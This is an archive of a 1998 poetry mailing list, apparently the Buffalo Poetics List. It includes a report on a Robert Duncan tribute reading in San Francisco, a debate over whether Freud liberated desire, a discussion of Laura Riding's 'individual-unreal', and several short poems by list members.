I was wondering, Dodie, if you might not report to the List some semblance of a review of the Duncan proceedings last week? Yet another S.F. event I would have dearly loved to attend . . . if all hasn't yet washed away . . .

Joe

> *----------*
> *From: [redacted][SMTP:[redacted]]*
> *Sent: Wednesday, January 28, 1998 3:50 PM*
> *To: [redacted]*
> *Subject: next week at Small Press Traffic*
>
> *Small Press Traffic presents:*
>
> *Thursday, February 5, 7:30 p.m.*
>
> *³Fragments Of A Disorderd Devotion²:*
> *Robert Duncan¹s Legacy Today*
>
> *Norma Cole, Michael Davidson, Diane di Prima, Robert Glück, Barbara Guest,*
> *Thom Gunn, Fran Herndon, Susan Howe, Nataniel Mackey, Michael McClure,*
> *Duncan McNaughton, Michael Palmer, Jerome Rothenberg, Aaron Shurin, Mary*
> *Margaret Sloan, David Levi Strauss, Susan Thackrey and others*
>
> *Robert Duncan, who died ten years ago on this very date, is the subject of*
> *our gala reading at the New College Theater, the very site where he so*
> *often spoke himself as director of the Poetics Program. These are walls*
> *haunted by a great spirit! This event--organized by Norma Cole, Michael*
> *Palmer and Susan Thackrey--celebrates the life and work of Robert Duncan,*
> *and his influence on poetry and poetics today. Duncan (1919-1988) was an*
> *arts activist, political organizer, teacher, editor, theorist, early gay*
> *liberationist, critic, typist, rebel, playwright, controversialist,*
> *neuromancer, art writer, ³Black Mountaineer,² visual artist, essayist,*
> *publisher, aesthete, dandy, conscience and wizard. He was one of the*
> *architects of the Berkeley Renaissance, the Poetry Center at San Francisco*
> *State University, the ³San Francisco Renaissance,² the ³New American*
> *Poetry,² the Berkeley Poetry Conference of 1965, and the Poetics Program at*
> *New College. Above all he was one of the towering poets of the 20th*
> *Century. His major books, still in print, include _The Opening of the*
> *Field, Bending the Bow, Roots and Branches_, and two volumes of _Ground*

Work_. Tonight some of his friends, admirers, students, and others with a ³disorderd devotion² to RD read from his work in celebration of a great American legacy. Expect surprises!

New College Theater
777 Valencia Street
$5

Friday, February 6, 7:30 p.m.

Charles Alexander
Scott Bentley

Charles Alexander¹s books of poetry include _Hopeful Buildings_ (Chax Press, Tucson, 1990) and _arc of light / dark matter_ (Segue Books, New York, 1992). He is the founder and director of Chax Press (Tucson). Ron Silliman writes, "Charles Alexander pushes the envelope of what is possible in writing even further, to the ends of the universe. And beyond. . . This is the most sensuous, intelligent, rewarding writing I¹ve read in ages.²

Scott Bentley has for the past ten years been a ³freeway flying teacher of writing,² at present teaching both at California State University at Hayward and at Canada Community College. Scott is the author of three books: _Edge_ (Birdcage Chap Books, 1987), _Out of Hand_ (Parentheses Writing Series, 1989), and _Ground Air_ (O Books, 1993). His writing is limber, smart, sexy and perverse, a feather tickling the neck of a Christmas goose, an almanac for amorists, a prescription Rx for the valentine blues.

New College Theater
777 Valencia Street
$5

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363. **Steven Marks**
Re: Announcement: JENNIFER
Mon 9 Feb 1998

I received my copy the other day. It's very handsomely done. I'm still not sure what critical tools to use in discussing these entities (perhaps entirely new ones), but I am much intrigued by the shapes and thoughts and desires that coalesce out of the swirl of words and commands. I hope to write more about the book in the coming weeks. Just recovering from bronchitis myself. Is it the poet's disease (dis-ease?) of the 1990s???!!!

congrats to Chris and Alan.

Steven

On Mon, 9 Feb 1998, Christopher W.
Alexander wrote:

> *nominative press collective announces...*
>
> *Alan Sondheim's JENNIFER*
>
> *"Think of Jennifer-Julu, Julu-Jennifer as system resonances, interferences or viruses occasioned by intervention. Their psychoanalytics tangles on and off the Net – as strange attractors, they shape discursive formations, nodes of theoretical focus. Similar to "deconstruction" (Derrida's "Letter to a Japanese Friend"), Jennifer and Julu fissure as contested sites, split or sputter across applications, networks, texts. Subject and body are at stake, problematized through the specificities of unfocused language . . . " (Alan Sondheim)*
>
> *copies are approx. 50 pp., printed on acid-free paper and hand-sewn Japanese-style between black coverstock. $8 / $12 institutional.*
>
> *to order, contact me via email or @ the address given below. apologies for not having a sample up on our homepage (as we generally do) — I'll try to put one together by the end of the week.*
>
> *best, Chris*
>
> *..*
>
> *Christopher W. Alexander etc. / nominative press collective*

> *email:* [redacted]
> *snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402*
> *press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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364. **k. lederer**
Re: freud's trick
Mon 9 Feb 1998

I love Freud. I really do love him. I think he's a great writer--very funny. Smart. Witty. Clever--

But how can he be credited with "liberating" desire? With "allowing" us to speak our true minds? (It seems that some of the lauding of Freud that has gone on in this thread has to do with such liberations--)

So I have two questions:

1. Let's just say Freud (particularly Interp of Dreams) allows us to examine our "sublimated" desires--to acknowledge what we truly desire--perhaps expunging it? How is this different than the confessional? In what ways is it a discourse that allows us to go beyond the confessional and enter the realm of the therapeutic? If I am a woman of Freud's era, how will it help me to know what I "reallY' feel? If I am a frustrated subject--politically, economically, and intellectually oppressed by my society, then what good does it do me to understand my true desires? In other words:

Who is allowed to desire?
Who is able to do something about their desires?
How is psychoanalysis a means toward pacification?
These are old questions--but I think still refute the notion that Freud liberated desire in any sense--

2. How is the location, identification, desublimation etc of imbricated with the writing of poetry? With the production of art? Is art a form of desublimation? Is a psychoanalytic model of desire anathema to the production of art? Is a discourse that is buttressed by the concepts of "normalcy" andthe recognition of perhaps anti-social desire anti-artistic? I am not harkening back to the suicidal poet model here--the psychoanalysis of Plath or Sexton--but rather to the very notion which seems to be present in this thread that Freud is good because his

discourse helps us to REAVEAL what had previously been CONCEALED. Tillich, for one, defines religion as that which passes from man to god--revelation as that which passes from god to man. How can a discourse based on revelation be anything but corrupt? Be anything but a tool for those who wish to control? Be anything but dangerous?

I guess I have a third question as well. How is Freud anything other than the logical conclusion to intellectual impulses of the sixteenth century? I have a quote to follow, but am afraid I will get cut off by my phone... so I'll continue in another post--

Cordially,
Katy

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365. **k. lederer**
Re: freud's trick
Mon 9 Feb 1998

It seems to me that Freud's "trick" is a pretty old one--

"Let us call the totality of the learning and skills that enable one to make the signs speak and to discover their meaning, hermeneutics; let us call the totality of the learning and skills that enable one to distinguish the location of the signs, to define what constitutes them as signs, and to know how and by what laws they are linked, semiology: the sixteenth century superimposed hermeneutics and semiology in the form of similitude. To search for a meaning is to bring to light a resemblance. To search for the law governing signs is to discover the things that are alike. The grammar of beings is an exegesis of these things.... 'Nature' is trapped in the thin layer that holds semiology and hermeneutics one above the other; it is neither mysterious nor veiled, it offers itself to our cognition which it sometimes leads astray, only in so far as this superimpositionnecessarily includes a slight degree of non-coincidence between the resemblances.... A dark space appears which must be made progressively clearer. That space is where 'nature' resides, and it is what one must attempt to know...."

(Foucault: Order of Things, pp. 29-30)

Then Freud:

"There is often a passage in even the most thoroughly interpreted dream which has to be left obscure; this is because we become aware during the work of interpretation that at that point there is a tangle of dream-thoughtswhich cannot be unravelled and which moreover adds nothing to our knowlegde of the content of the dream. This is the dream's navel, the spot where it reaches down

into the unknown. The dream-thoughts to which we are led by interpretation cannot, from the nature of things, have any definite endings: they are bound to branch out in every direction into the intricate netweork of our world of thought. It is at some point where this meshwork is particularly close that the dream-with grows up, like a mushroom out of its mycelium.: (Interp. p. 564 Avon, 1965)

Then Foucault:

Such, sketched in its most general aspects, is the sixteenth-century episteme. This configuration carries with it...(cont in next message...)

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366. **k. lederer**
Re: freud's trick
Mon 9 Feb 1998

...a certain number of consequences. "First and foremost, the plethoric yet absolutely poverty-stricken character of this knowldge. Plethoric because it is limitless. Resemblance never remains stable within itself; it can be fixed only if it refers back to another similitude, which then, in turn, refers to others; each resemblance, therefore has value only from the accumulation of all the others, and the whole world must be explored if even the slightest of analogies is to be justified and finally take on the appearance of certainty....And for this reason, from its very foundations, this knowledge will be a thing of sand. The only possible form of link between the elements of this knowledge is addition. Hence those immense columns of complilation, hence their monotony. By positing resemblance as the link between signs and what they indicate..., sixteenth century knowldge condemned itself to never knowing anything but the same thing, and to knowing that thing only at the unattainable end of an endless journey. (Order of Things. p. 30)

Then Freud:

(One could open Interp almost anywhere--)

But how about....HERE!

"Dreams of missing a train deserve to be put alongside examination dreams on account of the similarity of their affect, and their explanation shows that we shall be right in doing so. They are dreams of consolation for another kind of anxiety felt in sleep--the fear of dying. 'Departing' on a journey is one of the commonest and best authenticated symbold of death..." (p. 420)

Or HERE!

"In an analysis which I was conducting in French a dream came up for interpretation in which I appeared as an elephant. I naturally asked the dreamer why I was respresented in that form. 'Vous me trompez' ['you are deceiving me'] was his reply (trompe='trunk').

"The dream-work can often succees in representing very refractory material, such as proper names, by a far-fetched use of out-of-the-way associations...." (p. 448)

In other words--I think Freud is terrif to read--a brilliant poet, if you will--but I don't credit him with inventing a discourse that in any way, shape, or form liberated desire--

Rather he seems to be the apotheosis of an impulse toward "knowledge" that began in the 16th century and had as one of its primary objects the taming of "irrationality" and thus the urther denial of the kinds of desires that Freud purportedly "resues" or "dredges up" or otherwise "desublimates"--how is this different, again, than the confessional? How is this any kind of liberation? As a woman I feel that Freud has done little to help me out--

In his wake I see lots of talk-shows and diet plans--lots ofmen who claim that I or some other woman is delusional--hysterical etc.

I know that Freud may not have meant for such ramifications--but they are real--and are in many regards his legacy.

I don't think there is anyfeasible way to claim that Freud helped women, regardless of the historical context in which he worked--

(I think that Marx--another thinker whose ideas have been popularized--is a good counterexample--an interesting contrast to Freud in that Marxist disurses seem difficult to bend toward any form of "oppression"--whetheer of wmen. of men. or of children--of black, white, or red etc)

Yours! (Sorry for the length, there...)
Katy

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367. **John Tranter**
Jacket # 2 - Ashbery Issue - is complete.
Mon 9 Feb 1998

Announcement - current February 1998 - Jacket # 2 is complete.

Jacket magazine - free, fast-loading, international, full of stylish writing - on the Internet, at

http://www.jacket.zip.com.au

Jacket # 2 is now complete.

It focuses mainly on the work of JOHN ASHBERY -

John Ashbery : two interviews (1985 and 1988), and a new Ashbery poem / Marjorie Perloff on "Normalizing John Ashbery" / John Tranter : 3 John Ashberys / Eliot Weinberger on James Laughlin (1914-1997) / David Lehman - more on the Ern Malley hoax / Bob Perelman's "The Marginalization of Poetry" discussed by Silliman, Lauterbach, Spahr, Evans and Kate Lilley... and Bob Perelman! / poems by Peter Riley, Lee Ann Brown, John Kinsella, Eileen Myles, August Kleinzahler, Jennifer Moxley, Robert Adamson, Forrest Gander, Tim Davis, Michael Heller, Denis Gallagher / Eliot Weinberger - Letter from New York: "Vomit" / and other poems and articles.

In November 1997, Jacket was the featured Internet site on the Electronic Poetry Center at the State University of New York at Buffalo. The EPC is a leading experimental poetry site.

In December 1997, Jacket was among the top recommended sites on Web Del Sol, a major literary arts Internet conglomerate site in the US.

In December 1997, Jacket won the "Best of the Web" award from the Poetry Mining Company, an Internet site in New York.

The first issue of Jacket contains interviews with English poet Roy Fisher and Australian aboriginal poet Lionel Fogarty, a piece on cyber-poetry in the age of the Internet, a look at the 1943 hoax poet Ern Malley (including rare childhood photos!) , work by Charles Bernstein, Elaine Equi, Pamela Brown, Alfred Corn, Joanne Burns, Tracy Ryan, Carl Rakosi, Beth Spencer, Peter Minter, Susan Schultz and Paul Hoover, together with reviews, other prose and poetry pieces and plentiful photos and art work. Jacket # 1 was complete in October 1997.

Jacket # 3 is being uploaded as we speak, and will be complete in late April 1998. It already contains poems by Joel Lewis, Michele Leggott, Kris Hemensley, Peter Gizzi, Hans Magnus Enzensberger, Tom Clark and Johanna Drucker, and a review of Charles Nicholl's enlightening biography "Somebody Else - Rimbaud in Africa".

Issue # 3 is dedicated to the memory of the Australian poet JOHN FORBES, who died unexpectedly on 23 January at the age of 47 at his home in Melbourne. It contains a poem by him ("Speed: A Pastoral"), and poems by some of his friends.

Jacket is free, and (thus) is at present unable to pay contributors. Also, I don't have the time yet to deal with unsolicited submissions. Sorry.

Jacket editor John Tranter's e-mail address is

[redacted]

Please tell your friends about Jacket, whose motto is

"bop till you drop!"

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

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368. **k. lederer**
Re: "Indie Critics," Evans, Rod Smith, baloney--
Mon 9 Feb 1998

Henry--

I think that by far the best "criticism" of a poem is a new poem--

As far as the Evans article--I don't think of it as "criticism" so much as "elucidation"--

Perhaps the young/old thing is an old and oft-addressed problem--but it doesn't mean that it doesn't need re-stating generation after generation--

And Evans states it beautifully--in beautiful language--

And clearly--in terms that I can understand--

I LOVE HIS ESSAY!

And thank god for the mental blinders--otherwise I might be blinded by your utter brilliance--

Yours,
Katy L.

***

On Wed, 4 Feb 1998, henry gould wrote:

> *On Wed, 4 Feb 1998 13:41:44 -0600 k. lederer said:*
> *The implications for younger writers here are astonishing--*
>
> *That perhaps "older" writers--even those of the avant-garde variety--may also be unable to fully "see" (perceive is probably a better word) the "new" in the younger generation's works--*
>
> *Perhaps the "older" writers might claim that the young ones are "lazy," "apathetic," etc. (sound familiar?), because they cannot "see" the work that goes into simply "emerging"--*

Evans doesn't make such arguments explicitly--but I think these analogies are more than available (particularly in light of the postscript in which he basically credits such writers as Brown, Jarnot, Moxley, Spahr, Stroffolino, and Rothschild for, in some regards, freeing "the avant-garde" from the aesthetic prison (not intentionally a prison, but an effective one none the less) of Langpos. Breaking out of prison is hard work! And usually happens when no one is looking.

In other words, I think that this essay represents PRECISELY the kind of criticism that "Rod Smith's Generation" might need--

Katy, I'm glad you got something out of that essay; he's a snazzy writer. But you don't need a dress-up of Hegel & Marx for the precisely OLD idea (I mean like, old since Greek & Roman times) that the old fogies won't be able to understand the youngsters. Maybe it's just that a card-carrying "youngster" is saying it for you (& insists on harping on the "generation" thing just so you don't forget)... My point was that such advocacy is only a beginning, if anything.

I think you need to open the mental blinders. Critic does not necessarily = "mainstream establishment person out to judge us by outmoded standards of (baloney) taste". That is a cartoon of a critic. In my mind, critic = "somebody who loves poetry enough to dig into it backwards & forwards, past & present, and say something intelligent (if subjective) about the style, mindset, aims, effects, contradictions, connections, strengths, imitations, originalities, meaning, impact, development... etc of what s/he reads". I don't think of standards as a set of hoary rules; I think of standards as the feel of a good ear for syntax, sound, meaning, and complexity. Wouldn't you rather read some of this than various gang-approval ratings, blurbs, or tossed-off empty retchings which pass for "criticism?" THAT IS ALL I'M SAYING.

***
...I am speaking as a poet who has played by what I consider the rules for over 30 years. My rules are: do the poem. Send it to magazines & contests. Think about what you are doing - maybe write an essay about it. That's it. In my experience "doing the poem" has absorbed the energy. Maybe I am a fanatic, or a hedgehog in Isaiah Berlin's sense, or a totally introverted recluse.

These rules seem to contradict each other, Henry. Sending to mags and contests doesn't absorb any energy? Do introverts write lots of essays? Send to contests? (Emily--)

All I meant was, MOST of my energy (like 98%) goes into DOING the poems (until I joined this list [sigh]). Does anybody know what I look like? Seen me gladhanding at conferences? Reading anyplace outside Providence?

> *Published much? (these are rhetorical questions) Maybe it's because I only write haiku about buffalo - that could be it. I'm also not a prof, not a writing teacher, not a grad student, not a novelist, not a journalist, not a professional poet, not a performance artist; the only wannabee I am is wannabee out on the road again with my guitar - but then I really would have to be running from the law. Ask Jack about that.*
>
> *It seems to me that "taste, judgement, freedom, and artistic instinct" are also forms of baloney.*
>
> *Yes, the word "taste" always leaves a bad taste in the mouth. I like baloney better myself. But judgement, freedom, artistic instinct... there they go now, off to the next reality... all words become dust through repetition... anything can be turned into a joke... "the laughter of fools is like fire crackling under a pot" [Proverbs].*
> *- Henry Gould*

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369. **Karen Kelley**
Re: freud's trick
Mon 9 Feb 1998

---

k. lederer wrote:
>
>
> 1. Let's just say Freud (particularly Interp of Dreams) allows us to
> examine our "sublimated" desires--to acknowledge what we truly
> desire--perhaps expunging it? How is this different than the confessional?
> In what ways is it a discourse that allows us to go beyond the
> confessional and enter the realm of the therapeutic? If I am a woman of
> Freud's era, how will it help me to know what I "reallY' feel? If I am a
> frustrated subject--politically, economically, and intellectually
> oppressed by my society, then what good does it do me to understand my
> true desires? In other words:
>
> Who is allowed to desire?
> Who is able to do something about their desires?
> How is psychoanalysis a means toward pacification?
> These are old questions--but I think still refute the notion that Freud
> liberated desire in any sense--
>
I think we are looking at this, as we did the Breton poem, as if our

contemporary politics were applicable in Breton's/Freud's time. I don't think a bourgeois woman of Freud's time would have conceptualized her self as "politically, economically, and intellectually >oppressed by ...society."

It's always seemed to me that Freud's suggestion that there is a part of people that is NOT bound by civilization's mores, that is grasping and aggressive and violent and animal, and most importantly, not subject to simple conscious controls, to banishing that "bad impulse" was amost dramatic and amazing concept to come up with given HIS place in history. And he realized that our narratives are how we FIND and come to terms with these hidden inner realities (and I've always thought that idea quite poetic).

But as far as questions like _Who is allowed to desire? Who is able to do something about their desires? How is psychoanalysis a means toward pacification?_ go, I think they are based on a contemporary discourse that would not have registered in Freud's time.

Oh, and there's a wonderful book by Peter Gay (who also wrote a Freud bio), called _The Bourgeois Experience_ and for a spectacular poetic account of an analysis (a woman's analysis) by a Freud-like analyst, check out Marie Cardinal's _The Words to Say It_, a beautifully written book regardless your interest or non-interest in psychoanalysis.

Admittedly, I love Freud, and enjoyed (okay, largely in retrospect) my own analysis immensely. But I would hazard to say what brings analysis (at least in my case) from confessional to theraputic (though "therapy" doesn't do the process justice) may well be the quality of the "evenly hovering attention" of an analyst who can feel/withstand/encompass the analysand's emotions while NOT inserting himself into the narrative as a confessor.

Karen

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370. **Louis Cabri**
Re: colding & heating
Tue 10 Feb 1998

Lisa, to me you have recuperated what Riding's words worked for when they worked for poetry.

"Unreal" strikes me as one of those frequent words of hers that is attempting to do and say more than its cultural grammar can at the time support. Oppositional matrices - "real" vs."unreal" - fade before its sense.

What is the lineage of the "individual-unreal"?

What if it were Whitman! Not "precipitant of the American character," as the standard critical reading has it, but he who differentiates between individualism, which "isolates," and "personalism," which "fuses, ties, and aggregates . . . fraternizing all" (_Democractic Vistas_). "Personalism" thus is not identical to personal expression.

I've found numerous historical resonance for this word, but Whitman's usage, it seems, is distinct.

Anyone who can help me would be very welcome.

-louis

Where then, fellow citizens
Of this post-carnal matter,
Is each the next and next one,
Stretching the instant chain
Toward its first-last link,
The twilight that into dawn passes
Without intervention of night....
. . . . . .

But where? where?
If I have so companioned?
Here, here!

--Laura Riding ("I Am")

↑ Index

371. David Israel
law & love
Tue 10 Feb 1998

Quoth the good Dr. Gould --

<< . . . Law and love are an insecapable mutuality. The law for workers in poetry is WHAT'S ON THE PAGE. >>

once it was the splotch on page
once it was the note in air
that seems now a distant age

bird don't always live in cage
glance ain't ever lost in stare
once it was the splotch on page

love were hardened into rage
anger melted lost its flare
that seems now a distant age

theatre didn't need a stage
meditation sought no chair
once it was the splotch on page

music for the likes of Cage
hiding open everyewhere
that seems now a distant age

soon descends the macrophage
homer blindly go prepare!
once it was a splotch on page?
that seems now a distant age

d.i.

↑ Index

372. **dbkk**

Duncan tribute at Small Press Traffic

Tue 10 Feb 1998

> *Date: Mon, 9 Feb 1998 15:55:37 -0800*
> *From: Safdie Joseph <[redacted]>*
> *Subject: Re: last week at Small Press Traffic*
>
> *I was wondering, Dodie, if you might not report to the List some semblance of a review of the Duncan proceedings last week? Yet another S.F. event I would have dearly loved to attend . . . if all hasn't yet washed away . . .*

Nothing was washed away, but perhaps some people stayed away from the Duncan tribute February 5th because our local weathermen were predicted 5 inches of rain and winds of 80 miles an hour . . . Nevertheless hordes of people came and they were just about hanging from the rafters, approximately 140 of them (people, not rafters). The evening had a long program with 19 speakers, but wrapped itself up in 2 hours and 15 minutes--it could have been a lot worse timewise. Susan Thackrey, the MC, was good at crowd management, announcing there would be no formal "break" but encouraging people to get up, mill around, between readings, etc.

Here are some of the highlights . . . a surprise visitor from Buffalo, Robert Bertholf, opened the show detailing the latest finds of Duncaniana and also updating us all on the plans to publish Duncan's "Collected Works" (California) . . . In honor of the doubling that runs throughout Duncan's poetry, Jack and Adelle

Foley read alternating lines and then simultaneously poems by Duncan and Foley . . . A seven minute excerpt from Richard Moore's (1966?) NET Poetry USA Duncan documentary was shown, big, blown up, only a little grainy and reddened across the edges, Duncan reading "The Dance," etc in front of a mirror . . . Aaron Shurin's reading of "Passages 18: The Torso" was very crisp and clear and seductive . . . Readers were given five minutes apiece and many chose to read from RD's own work . . . Surprising how many read from the two big last books of "Ground Work," don't remember anyone reading from "The Opening of the Field," but maybe this isn't surprising since many were Duncan's final students from New College during the Ground Work years. Thom Gunn read the one about the cat, you could almost picture the cat creeping up and down his leather jacket as he did so . . . . Then there were some who reminisced--Michael McClure a real pro, commanding and v. insightful; the artist Fran Herndon spoke off the cuff about her earliest meetings with Duncan and Jess in 1957, Stinson Beach, painting, etc. One of the luckiest breaks was that the photographer Harry Redl happened to be in town (visiting from Vancouver) with some of his prints, and the black cotton curtains were taped back from New College Theater's white walls, and a selection of his photos were quickly hung before the show. Redl was the Viennese man about town in North Beach in 1957-1960, the photographer who took the famous photos of poets for the Evergreen Review "San Francisco Scene" issue of 1957. He was introduced to the crowd by Michael Palmer but alas did not speak. The photos are amazing. So it was a mass reading and a vernissage all at the same time esp. nice for those who missed the Whitney Beat Culture show where so many of Redl's works were shown.

Jerome Rothenberg (who read from "Seedings" his poem inspired by Duncan) first met RD in 1950 or 1960, on his first day in San Francisco, RD took him to a cafe, Harry Redl happened to take their picture, the picture happened to be one HR had with him, the whole evening was filled with this kind of serendipidity or "Inspiriting" as RD might have said . . . David Levi Strauss. returning to San Francisco after many many years away (and afterwards remarking on how many streets and sights had changed) read briefly, again from "Ground Work," great to see him again in the parlieus of poetry . . .

Susan Howe was supposed to come but she was too ill to travel up from Palo Alto (she's better now) and the rains kept away Barbara Guest. One young woman blanched visibly when told Howe was not there, a big pile of Howe's books on her lap slipped. Jess did not show up either but no one really expected him to . . . Duncan McNaughton read Yeats' "The Phases of the Moon" replete with high drama, many many sips of water and a beautiful, sonorous delivery, which seemed to last forever, tho' it couldn't have lasted more than 25 minutes, could it?

Kush was taping the whole event and will sell copies of the event (back channel if anyone's interested) . . . In the spirit of things--in the memorial spirit we are undergoing in San Francisco these days--under the sign of Thanatos--he gave out copies of Ira Cohen's 1981 photo of Robert Duncan massaging Kathy Acker's shoulders, a very touching portrait . . . The unenviable task of last reader was saved for Michael Davidson, who gave the most acclaimed reading of all, mostly a memoir of writing his dissertation on RD, very funny, wry, ironic, reflexive, loving and tender, enough to make RD's ghost flit in front of us, live, on stage, just for a minute--

It's been pointed out on this list that Duncan made many an enemy, but the Duncan who came through at this tribute was well-loved, in a way that others can only aspire to. His enormous influence on the poetry scene from the Bay Area and beyond was palpable in the moisture-laden air.

Kevin Killian & Dodie Bellamy

(Thanks again to Norma Cole, Michael Palmer, and Susan Thackrey for organizing the whole thing--merveilleuse!)

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373. Pierre Joris
bb's bd
Tue 10 Feb 1998

Today one hundred years ago Bertolt Brecht was born --

"-- oh show us the way to the next whisky bar!"

&

"what kind of times are these when
talking about trees is almost a crime
because it avoids speaking about so many brutalities?"

& much more on what Sartre called "the insurmountable horizon of communism"

happy bd, bb,

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

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374. **louis stroffolino**
INDIVIDUAL-UNREAL
Tue 10 Feb 1998

Thanks Lisa Samuels and Louis Cabri for excellent posts on Ms. (Riding) Jackson. I have some thoughts on the matter: A couple of questions for Louis. One) When you (LOuis) write: "to me (Lisa) you have recuperated what Riding's words worked for when they worked for poetry" I detect the deployment of an assumption (too common) I think needs to be challenged: that Riding Jackson RENOUNCED poetry. She may have renounced "poetry as such" (but in terms of RATIONAL MEANING, only insofar as poetry is a "name" and not a "word."). Perhaps, "working for poetry" is the problem and maybe one could understand Riding as asking: "ask not what words can do for poetry but what poetry can do for words" (sorry about the Lee Harvey Oswald quality here)-- The way I see it, her later (post-poetry) writing, like THE TELLING (or "Engaging The Impossible", which in light of Ms. Samuel's remarks is especially worth considering--or even the Preface to the Selected Poems) can be seen as "working for poetry" or, MORE IMPORTANTLY, working AS poetry (if one is willing to consider a poetry not in the narrow "new critical" sense, or even perhaps the narrow 1998 sense), and Riding, even as (Riding) Jackson, seems to me to be more interested in critiquing the generic CRUTCH of poetry rather than poetry itself. It is the extreme endeavour of "space clearing" for the possibility of the "individual unreal" that I find almost everywhere in her work, the shucking off of the "baggage" of the "individual real" (which may be seen as the "expressive" self....).

Two) 2). Louis, how does the word "unreal" "do and say more
than its cultural grammar at the time can support?"
What "cultural grammar" do you feel is necessary
to support her terminology or matrix? Does such
technology, lacking in 1928, exist now? And, if so,
for whom (and how do you know?)
By the way, I don't think she's posing a simple
"oppositional matrix" (real vs. unreal), because
it is complicated by the combination of another
simple oppositional matrix (collective vs. individual),

and one may notice that the "fourth term" (like the "fourth wall" of "theatre") is conspiciously absent (i.e. Ms. Samuels makes no mention of the possibility of a "collective unreal"---perhaps because, for Riding, the "individual unreal" IS one with "the collective unreal").

Well, I would be curious to see if anybody wants to continue this. (I also like Lisa's connection with O'Hara and LC's connection with whitman...) Chris Stroffolino

On Sun, 8 Feb 1998, Lisa Samuels wrote:

> *in response to louis cabri, sat 7 feb, on*
> *individualism vs. singularity.*
>
> *in her 1928 book, =Anarchism Is Not Enough=, laura riding*
> *distinguishes among the "collective-real" (people in groups), the*
> *"individual-real," (a person in relation to reality, to the "real"*
> *world of nature, broadly considered), and the "individual-unreal."*
> *this last sounds akin to what you are calling "singularity." for*
> *riding, the realm of the individual-unreal was The One worth living*
> *for and in. and in writing poetry one accessed this realm and*
> *"discharged pieces of self" as she put it. not =one=self, "but*
> *self." in this unreal singularity one was truest to the self and to*
> *poetry. and effectively truest to other people as well. promoting*
> *what you call the hardwon. in participating in the institution of*
> *publishing (though never in academia), riding wanted people to =try=*
> *to live that individual-unreal even as she knew it was impossible.*
> *and the only thing worth trying, while always keeping in mind its*
> *impossiblity.*
> *what you wrote reminded me of her, hence the comment on*
> *=anarchism=. in either case the issue is maintaining one's deliberate*
> *ideals within necessary participation in the world. oneself as social*
> *construction is the "individual-real"; oneself as experientially*
> *incommensurable is the "individual-unreal," your "singularity."*
> *we can and do have both. at least this is my deliberate belief.*
> *and despite all those serious sentences, it's a belief that makes*
> *me delirious as o'hara:*
> *"YIPPEE!! I'm glad I'm alive!!*
> *I'm glad you're alive too, baby, because I want to fuck you"*
> *("ode to michael goldberg ('s birth and other births)")*
>
> *yippee!*
> *lisa samuels*

↑ Index

375. **louis stroffolino**
Re: bb's bd
Tue 10 Feb 1998

Happy Birthday, Bertolt!
Does anybody know where one can find his specific mention of
A MIDSUMMER NIGHT'S DREAM, by the way, in his writing on theatre?

2) and, if you haven't already, read his SONG OF THE CUT_PRICED
POET (for the first third of the twentieth century when poetry
was no longer paid for).
this is your assignment
(and maybe next year I'll be able to use the german word
for alienation effect in an essay without always having
to look it up). Chris

On Tue, 10 Feb 1998, Pierre Joris wrote:

> *Today one hundred years ago Bertolt Brecht was born --*
>
> *"-- oh show us the way to the next whisky bar!"*
>
> *&*
>
> *"what kind of times are these when*
> *talking about trees is almost a crime*
> *because it avoids speaking about so many brutalities?"*
>
> *& much more on what Sartre called "the insurmountable horizon of*
> *communism"*
>
> *happy bd, bb,*
>
> *Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:* [redacted]
> *http://www.albany.edu/~joris/*
> *----------*
>
> *"What often prevents us from giving ourselves over to*
> *a single vice is that we have several of them."*
> *— La Rochefoucauld*
> *==========*

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376. **Henry Gould**
Re: colding & heating
Tue 10 Feb 1998

On Tue, 10 Feb 1998 00:10:48 -0500 Louis Cabri said:
>
>What is the lineage of the "individual-unreal"?
>
>What if it were Whitman! Not "precipitant of the American
>character," as the standard critical reading has it, but he who
>differentiates between individualism, which "isolates," and
>"personalism," which "fuses, ties, and aggregates . . .
>fraternizing all" (_Democractic Vistas_). "Personalism" thus
>is not identical to personal expression.
>
>I've found numerous historical resonance for this word, but
>Whitman's usage, it seems, is distinct.
>
>Anyone who can help me would be very welcome.

You might also look at Whitman's singular use of the word "disintegrated" in Song of Myself. It means, I think, "given an identity" (in the cosmos) by being "de-integrated" - separated, precipitated-out, of the whole. I think Whitmans's style is based on a balance between the particular, the individual, and the whole - the balance gives it that "anonymous" character which is one sign of real poetry... - Henry G.

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377. **Hen**
Re: Surf music
Tue 10 Feb 1998

On Mon, 9 Feb 1998 18:28:47 -0500 William Burmeister Prod said:
>Although your world wonders me
>With your majestic superior cackling hen
>Your people I do not understand
>So to you I wish to put an end
>And you'll never hear surf music again
>
>-Jimi Hendrix, "Third stone from the sun"
>
Is this Hendrix coming back to say goodby to the Beach Boys?

And so castles made of sand
drift into the sea
eventually...

(surf music...)

↑ Index

378. **Hen**
Re: law & love
Tue 10 Feb 1998

On Tue, 10 Feb 1998 00:50:29 -0500 David Israel said:
>Quoth the good Dr. Gould --
>
><< . . . Law and love are an insecapable mutuality. The law for workers in
>poetry is WHAT'S ON THE PAGE. >>
>
>once it was the splotch on page
>once it was the note in air
>that seems now a distant age
>
>bird don't always live in cage
>glance ain't ever lost in stare
>once it was the splotch on page

[I heard the trees talking in the forest
about poetry]:

Time now for the trees to shroud the earth
with their dark branches, time
when the wind dies down
and over the still mirror
a faded voice is whispering.

Time again to climb into the old
music box in the forest,
and wind the iron spring:

it is letter by letter,
line by line.

- ol' Hen Gould [ca. whenever]

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379. **louis stroffolino**
Re: colding & heating
Tue 10 Feb 1998

